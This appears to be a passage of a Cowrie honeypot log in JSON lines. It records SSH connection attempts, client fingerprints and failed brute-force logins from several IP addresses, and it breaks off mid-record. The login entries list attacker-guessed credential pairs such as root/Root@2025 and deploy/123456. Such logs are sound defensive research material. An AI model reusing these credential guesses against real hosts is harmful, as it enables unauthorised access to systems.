{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:53:25.142897Z","src_ip":"91.92.42.227","session":"111f4811f0f5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"student","password":"student","message":"login attempt [student/student] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:53:27.807036Z","src_ip":"91.92.42.227","session":"111f4811f0f5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.5","message":"Connection lost after 4.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:53:29.224694Z","src_ip":"91.92.42.227","session":"111f4811f0f5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"4.213.224.194","src_port":60188,"dst_ip":"10.17.0.5","dst_port":22,"session":"59a81c88c886","protocol":"ssh","message":"New connection: 4.213.224.194:60188 (10.17.0.5:22) [session: 59a81c88c886]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:53:32.025934Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:53:32.032430Z","src_ip":"4.213.224.194","session":"59a81c88c886","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:53:32.215599Z","src_ip":"4.213.224.194","session":"59a81c88c886","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":55354,"dst_ip":"10.17.0.5","dst_port":22,"session":"0c2f83f9d06f","protocol":"ssh","message":"New connection: 91.92.42.227:55354 (10.17.0.5:22) [session: 0c2f83f9d06f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:53:32.693828Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:53:32.975724Z","src_ip":"91.92.42.227","session":"0c2f83f9d06f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:53:32.978958Z","src_ip":"91.92.42.227","session":"0c2f83f9d06f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Root@2025","message":"login attempt [root/Root@2025] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:53:32.985559Z","src_ip":"4.213.224.194","session":"59a81c88c886","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"741852963","message":"login attempt [root/741852963] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:53:33.840857Z","src_ip":"91.92.42.227","session":"0c2f83f9d06f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:53:34.171667Z","src_ip":"4.213.224.194","session":"59a81c88c886","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:53:35.156634Z","src_ip":"91.92.42.227","session":"0c2f83f9d06f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":74.95936703681946,"message":"Connection lost after 74 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:53:36.347002Z","src_ip":"107.6.151.170","session":"721083ab81ca","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":59026,"dst_ip":"10.17.0.5","dst_port":22,"session":"01a09b3eb50d","protocol":"ssh","message":"New connection: 91.92.42.227:59026 (10.17.0.5:22) [session: 01a09b3eb50d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:53:39.945853Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:53:39.957082Z","src_ip":"91.92.42.227","session":"01a09b3eb50d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:53:40.040246Z","src_ip":"91.92.42.227","session":"01a09b3eb50d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user2","password":"user2","message":"login attempt [user2/user2] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:53:40.422948Z","src_ip":"91.92.42.227","session":"01a09b3eb50d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:53:41.508765Z","src_ip":"91.92.42.227","session":"01a09b3eb50d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":53992,"dst_ip":"10.17.0.5","dst_port":22,"session":"8b083ef612c6","protocol":"ssh","message":"New connection: 91.92.42.227:53992 (10.17.0.5:22) [session: 8b083ef612c6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:53:47.307266Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:53:47.336864Z","src_ip":"91.92.42.227","session":"8b083ef612c6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:53:47.433948Z","src_ip":"91.92.42.227","session":"8b083ef612c6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.122.221.179","src_port":51872,"dst_ip":"159.203.135.109","dst_port":22,"session":"ff251b154894","protocol":"ssh","message":"New connection: 103.122.221.179:51872 (159.203.135.109:22) [session: ff251b154894]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:53:48.445272Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:53:48.455134Z","src_ip":"103.122.221.179","session":"ff251b154894","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"administrator","password":"administrator","message":"login attempt [administrator/administrator] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:53:48.532106Z","src_ip":"91.92.42.227","session":"8b083ef612c6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:53:48.712571Z","src_ip":"103.122.221.179","session":"ff251b154894","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"checking!@!@%","message":"login attempt [root/checking!@!@%] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:53:49.487195Z","src_ip":"103.122.221.179","session":"ff251b154894","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:53:49.775628Z","src_ip":"91.92.42.227","session":"8b083ef612c6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:53:50.754061Z","src_ip":"103.122.221.179","session":"ff251b154894","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.77.242.62","src_port":57794,"dst_ip":"10.17.0.5","dst_port":22,"session":"c02adcbfb56c","protocol":"ssh","message":"New connection: 103.77.242.62:57794 (10.17.0.5:22) [session: c02adcbfb56c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:53:53.697132Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:53:53.701164Z","src_ip":"103.77.242.62","session":"c02adcbfb56c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:53:53.939222Z","src_ip":"103.77.242.62","session":"c02adcbfb56c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":54008,"dst_ip":"10.17.0.5","dst_port":22,"session":"e97af7c54e0b","protocol":"ssh","message":"New connection: 91.92.42.227:54008 (10.17.0.5:22) [session: e97af7c54e0b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:53:54.303804Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:53:54.572006Z","src_ip":"91.92.42.227","session":"e97af7c54e0b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:53:54.575754Z","src_ip":"91.92.42.227","session":"e97af7c54e0b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"23071984","message":"login attempt [root/23071984] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:53:54.649950Z","src_ip":"103.77.242.62","session":"c02adcbfb56c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"123456","message":"login attempt [deploy/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:53:55.362915Z","src_ip":"91.92.42.227","session":"e97af7c54e0b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:53:55.890956Z","src_ip":"103.77.242.62","session":"c02adcbfb56c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:53:56.597941Z","src_ip":"91.92.42.227","session":"e97af7c54e0b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":4818,"dst_ip":"10.17.0.5","dst_port":22,"session":"ffae4983d0ac","protocol":"ssh","message":"New connection: 87.251.64.176:4818 (10.17.0.5:22) [session: ffae4983d0ac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:53:57.333191Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:53:57.337194Z","src_ip":"87.251.64.176","session":"ffae4983d0ac","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sh